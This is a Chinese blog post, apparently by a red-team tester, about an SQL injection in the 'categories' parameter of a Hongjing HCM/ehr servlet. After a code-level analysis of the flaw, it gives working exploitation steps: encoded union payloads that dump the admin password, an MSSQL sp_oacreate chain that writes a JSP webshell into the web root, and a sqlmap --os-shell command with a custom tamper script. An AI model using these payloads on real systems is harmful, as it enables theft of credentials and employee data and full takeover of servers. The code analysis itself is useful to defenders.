前言
很早之前就审过该ehr系统(sql注入的确挺多的),没想到这段时间打攻防,遇上它了,虽然没通过最近爆出来的SQL注入漏洞去getshell,但是回酒店后也简单的复习了一下。
漏洞成因
首先漏洞触发点是在/servlet/codesettree
这个路径下,一般情况下servlet
的声明都会在WEB-INF/web.xml
里。
这个路径的servlet-name
的值是CodeSetServlet
,继续搜索该servlet-name
的值。
此时找到了该servlet
对应的类是com.hjsj.hrms.servlet.sys.CodeSetServlet
搜一下,发现逻辑很简单。CodeSetServlet
继承于HttpServlet
在CodeSetServlet
类定义了默认的构造方法CodeSetServlet()
,该方法没实现功能。
重写了doGet()
和doPost()
方法,这两个方法用于处理http
请求方法。
在Get
请求访问这个url-pattern
时,会执行doPost
的逻辑,传入参数flag
、status
、codesetid
、parentid
、categories
和fromflag
的值,并将这些参数的值传递到了loadUserNodes
方法里。
当flag=c
时,即var1=c
时,这里执行了一个sql查询的操作。且var5的值直接拼接到了sql语句里,var5是访问路径/servlet/codesettree
时传入的categories
的值,所以categories
参数处存在一个SQL注入漏洞。
在categories
的值传递过程中需要使用SafeCode.decode
方法处理一下。
这里也实现了encode
的逻辑,逻辑很好读,下面将会解读。
漏洞利用
互联网流传payload
功能是查询数据库名称
/servlet/codesettree?categories=~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cdb~5fname~28~29~2d~2d&codesetid=1&flag=c&parentid=-1&status=1
深入利用
读取后台管理员账号密码
编码前
1 | 1' union all select 'hellohongjingHcm',PassWord from OperUser where UserName='admin'-- |
编码后
1 | ~31~27~20union~20all~20select~20~27hellohongjingHcm~27~2cPassWord~20from~20OperUser~20where~20UserName~3d~27admin~27~2d~2d |
效果
GetShell
方法一:存储过程GETSHELL,要求站库不分离
safe6Sec PentestDB mssql 存储过程sp_oacreate写shell
该漏洞利用前提条件是dba
权限和网站物理路径
。
在某个servlet
的实现方法里,发现了获取物理路径的方法
这里通过getAbsolutePath()
方法获取到文件的物理路径后,直接在fullpath
处回显,该物理路径被PubFunc.encrypt()
方法加密。
直接开始利用了,发包,拿到fullpath
的值
很明显,一般有encrypt
方法,那么该类下就会有decrypt
方法。
调用该方法解密,得到网站物理路径。
在tomcat项目里,网站根目录路径一般是D:\tomcat\webapps\ROOT\
因此此处的网站根目录路径是D:\apache-tomcat-x.x.x\webapps\ROOT\
将存储过程中的输出路径修改到网站根目录下的jsp文件里。
1 | 1';EXEC sp_configure 'show advanced options', 1; |
调用SafeCode.encode()
方法进行编码操作。
发包后,回显xml,代表发送成功(失败就url编码一下)
再访问http://x.x.x.x/test.jsp
,发送写入成功。
方法二:编写sqlmap的tamper,通过–os-shell getshell
要编写sqlmap
的tamper
脚本,就得了解这里SafeCode.encode()
的逻辑。
传入字符串
s
,声明字符串s3
;判断字符串
s
是否为空,不为空走else
逻辑;获取字符串
s
的长度,循环取出字符串中的每个字符,判断字符c
的unicode
的值是否大于255
。如果大于,将该字符的unicode
的值转换成16进制
,并确保该16进制
的值是4位
长度,不够4位
,前面补0
,直到4位
。补到4位
后,拼接到s3+'^'
后面;判断字符
c
是否是一个可以显示的ascii编码
的字符,如果是,则字符c
拼接到s3
后面;上面两个条件都不符合的情况下,将字符
c
的unicode
的值,转换成16进制
,确保该16进制
的值是2位
长度,不够2位
,前面补0
。并拼接到s3+'~'
后面。
最终效果
1 | python3 sqlmap.py -u "http://x.x.x.x/servlet/codesettree?categories=1&codesetid=1&flag=c&parentid=-1&status=1" -p categories --dbms="Microsoft SQL Server" --tamper ehr_SafeCodeEncode_tamper --level 3 --os-shell |
总结
虽然这次攻防不是利用这个注入打进去的,但是学习了一下新的GETSHELL方法也是不错的。
关于上面获取物理路径的方法,可以自行找一下,难度不大。